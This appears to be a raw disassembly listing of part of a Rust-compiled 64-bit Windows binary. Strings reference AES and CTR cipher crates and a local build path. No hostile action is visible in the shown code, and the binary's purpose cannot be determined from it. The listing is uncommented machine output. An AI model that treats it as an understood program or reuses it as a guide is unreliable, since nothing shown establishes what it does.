mov r15, qword [rsp + 0x750]
lea rcx, [rsp + 0x2a8]
mov rdx, rdi
mov r8, r15
call fcn.140049290
cmp qword [rsp + 0x2a8], 0
jne 0x1400109bd
mov rdi, qword [rsp + 0x2b0]
mov rsi, qword [rsp + 0x2b8]
mov rcx, rsi
call fcn.1401491a3
mov rbx, rax
mov r15, rdx
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call fcn.1402afaf0
mov rcx, qword [rsp + 0x740]
mov rdx, qword [rsp + 0x748]
call fcn.140043da0
mov ecx, 0x48
mov edx, 8
call fcn.140007578
mov rdi, rax
movups xmm0, xmmword [rsp + 0x350]
movups xmmword [rax], xmm0
mov rax, qword [rsp + 0x360]
mov qword [rdi + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x368]
movdqu xmmword [rdi + 0x18], xmm0
mov rax, qword [rsp + 0x378]
mov qword [rdi + 0x28], rax
mov qword [rdi + 0x30], rbx
mov qword [rdi + 0x38], r15
mov qword [rdi + 0x40], rsi
mov rdx, qword [rsp + 0x118]
cmp rdx, qword [rsp + 0x110]
jne 0x140010551
lea rcx, [rsp + 0x108]
call fcn.1400f0ab8
mov rdx, qword [rsp + 0x118]
lea r15, [rsp + 0xb00]
mov rsi, qword [rsp + 0x88]
lea rbx, [rsp + 0xd0]
mov rax, qword [rsp + 0x108]
imul rcx, rdx, 0x18
mov qword [rax + rcx], rdi
mov r8d, 3
mov qword [rax + rcx + 8], r8
mov qword [rax + rcx + 0x10], r8
inc rdx
mov qword [rsp + 0x118], rdx
jmp 0x14000f31f
mov rbx, r8
mov rax, qword [rsp + 0x60]
test rbx, rbx
je 0x14001065d
lea rsi, [rsp + 0x1b0]
mov rcx, rsi
call fcn.140098a6d
mov edx, 0x10
mov rcx, rsi
mov r8, rbx
lea r9, [0x1402e3858]
call fcn.140092dc2
lea rcx, [0x1402e3870]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rdi, qword [rsp + 0xa0]
mov r8, rdi
mov r9, rbx
call fcn.1400950ee
mov qword [rsp + 0x380], rsi
mov qword [rsp + 0x388], rsi
mov qword [rsp + 0x390], 1
lea rcx, [rsp + 0x190]
mov rdx, r14
call fcn.14000b44e
mov edx, 0x10
mov rcx, rsi
mov rsi, qword [rsp + 0x50]
mov r8, rbx
lea r9, [0x1402e3888]
call fcn.140092dc2
mov r9, rdx
lea rcx, [0x1402e38a0]
mov qword [rsp + 0x20], rcx
mov rcx, rdi
mov rdx, rbx
mov r8, rax
call fcn.1400950ee
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x180]
cmp rcx, 0x10
cmovb r15, rcx
mov qword [rsp + 0x748], rax
mov qword [rsp + 0x750], r15
mov rdi, qword [rsp + 0xe0]
mov qword [rsp + 0x740], rdi
mov al, byte [0x14042a460]
mov rcx, rsi
mov rdx, qword [rsp + 0x98]
call fcn.140043da0
jmp 0x140010478
mov esi, eax
cmp eax, 0x65
jne 0x140010969
mov rax, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x168]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0x108]
movups xmmword [rcx], xmm0
mov rcx, qword [rsp + 0x88]
call fcn.1401913b4
mov rcx, qword [rsp + 0x170]
mov rdi, qword [rsp + 0x160]
mov rdx, rdi
call fcn.140004903
mov rbx, qword [rsp + 0x158]
mov rcx, rbx
xor edx, edx
xor r8d, r8d
call fcn.14018f27c
test eax, eax
je 0x140010741
lea rsi, [rsp + 0xb00]
mov rcx, rsi
mov rdx, rbx
call fcn.14014e0cc
cmp dword [rsi], 2
jne 0x14001072c
xor ecx, ecx
jmp 0x14001073c
mov rcx, qword [rsp + 0xb10]
mov rdx, qword [rsp + 0xb18]
call fcn.14000522c
mov rcx, rbx
call fcn.14018e664
xor ecx, ecx
mov rdx, rdi
call fcn.140004903
lea rsi, [rsp + 0x330]
mov rcx, rsi
call fcn.14016d2a4
cmp byte [rsi + 0x18], 2
je 0x14001077e
mov rcx, qword [rsp + 0x330]
mov rdx, qword [rsp + 0x338]
call fcn.140043da0
movaps xmm6, xmmword [rsp + 0xf00]
movaps xmm7, xmmword [rsp + 0xf10]
movaps xmm8, xmmword [rsp + 0xf20]
movaps xmm9, xmmword [rsp + 0xf30]
movaps xmm10, xmmword [rsp + 0xf40]
movaps xmm11, xmmword [rsp + 0xf50]
movaps xmm12, xmmword [rsp + 0xf60]
movaps xmm13, xmmword [rsp + 0xf70]
movaps xmm14, xmmword [rsp + 0xf80]
movaps xmm15, xmmword [rsp + 0xf90]
add rsp, 0xfa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r14, qword [rsp + 0x748]
mov r15, qword [rsp + 0x750]
lea rdx, [rsp + 0x1b0]
mov rcx, r14
mov r8d, 6
xor r9d, r9d
call fcn.140190014
mov ebx, eax
mov rcx, r14
mov rdx, r15
call fcn.1400051b3
test ebx, ebx
je 0x140010892
mov rdx, qword [rsp + 0x1b0]
lea r14, [rsp + 0xb00]
mov rcx, r14
call fcn.14014e0cc
cmp dword [r14], 2
lea r15, [rsp + 0xb00]
jne 0x1400108c1
mov rcx, qword [rsp + 0x1b0]
call fcn.14018e664
movsxd rax, ebx
mov qword [rsp + 0x380], 1
mov qword [rsp + 0x388], rax
and qword [rsp + 0x390], 0
mov ebx, 1
jmp 0x14000f164
lea r8, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001f_aes_0.8.3_src_soft_fixslice64.rs
mov rcx, rdi
call fcn.1402da370
ud2
and qword [rsp + 0x388], 0
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x398], rax
mov qword [rsp + 0x380], 2
mov ebx, 2
jmp 0x14000f15c
mov rax, qword [rsp + 0xb20]
mov qword [rsp + 0x3a0], rax
movdqu xmm0, xmmword [rsp + 0xb00]
movdqu xmm1, xmmword [rsp + 0xb10]
movdqa xmmword [rsp + 0x390], xmm1
movdqa xmmword [rsp + 0x380], xmm0
mov rcx, qword [rsp + 0x1b0]
call fcn.14018e664
mov rbx, qword [rsp + 0x380]
jmp 0x14000f164
lea rax, str.C:Userscokiss.cargo_registry_srcindex.crates.io_6f17d22bba15001fctr_0.9.2_src_flavorsctr32.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1402e28c0]
lea r8, [rsp + 0x740]
mov edx, 0x2b
call fcn.1402da6a0
ud2
lea r9, [rsp + 0xb00]
and qword [r9], 0
lea rax, str._j1_
mov qword [rsp + 0x20], rax
lea r8, [0x1402e1de8]
lea rdx, [rsp + 0x380]
jmp 0x140010a83
lea rdi, [rsp + 0xb00]
mov rcx, rdi
mov rdx, qword [rsp + 0xf8]
call fcn.14014e0cc
mov rax, qword [rdi]
cmp rax, 2
jne 0x1400109f5
movsxd rcx, esi
mov eax, 1
xor edx, edx
jmp 0x140010a1b
lea r9, [rsp + 0x380]
and qword [r9], 0
lea rax, str._j1_
mov qword [rsp + 0x20], rax
lea r8, [0x1402e1e08]
jmp 0x140010a7b
lea rax, [rsp + 0x2b0]
movdqu xmm0, xmmword [rax]
lea r8, [rsp + 0xb00]
movdqa xmmword [r8], xmm0
lea rax, [0x1402e4050]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1402e2900]
jmp 0x140010931
mov rcx, qword [rsp + 0xb08]
mov rdx, qword [rsp + 0xb10]
lea r8, [rsp + 0xb18]
movdqu xmm0, xmmword [r8]
movdqa xmmword [rsp + 0x380], xmm0
lea r8, [rsp + 0xb00]
mov qword [r8], rax
mov qword [r8 + 8], rcx
mov qword [r8 + 0x10], rdx
movdqa xmm0, xmmword [rsp + 0x380]
movdqu xmmword [r8 + 0x18], xmm0
lea rax, [0x1402e4008]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1402e2780]
jmp 0x140010931
lea r9, [rsp + 0x380]
and qword [r9], 0
lea rax, str._j1_
mov qword [rsp + 0x20], rax
lea r8, [0x1402e1e10]
lea rdx, [rsp + 0x740]
xor ecx, ecx
call fcn.1402da9ce
ud2
lea rax, [0x1402e3840]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1402e27e0]
jmp 0x140010929
mov rax, qword [rsp + 0x3a0]
lea r8, [rsp + 0xb00]
mov qword [r8 + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x380]
movdqa xmm1, xmmword [rsp + 0x390]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, [0x1402e3f98]
jmp 0x140010a44
lea rax, str._9._
lea rdx, [rsp + 0xb00]
mov qword [rdx], rax
mov qword [rdx + 8], 1
mov qword [rdx + 0x10], r12
pxor xmm0, xmm0
movdqu xmmword [rdx + 0x18], xmm0
lea rsi, [rsp + 0x390]
mov rcx, rsi
call fcn.1400073ad
and qword [rsi - 0x10], 0
lea rcx, [rsp + 0x740]
call fcn.140004588
jmp 0x140010b5e
movsxd rax, ebx
mov qword [rsp + 0x380], 1
mov qword [rsp + 0x388], rax
and qword [rsp + 0x390], 0
mov rcx, rdi
mov rdx, rsi
call fcn.1400051b3
mov rax, qword [rsp + 0x3a0]
lea r8, [rsp + 0xb00]
mov qword [r8 + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x380]
movdqa xmm1, xmmword [rsp + 0x390]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, [0x1402e3ff0]
jmp 0x140010a44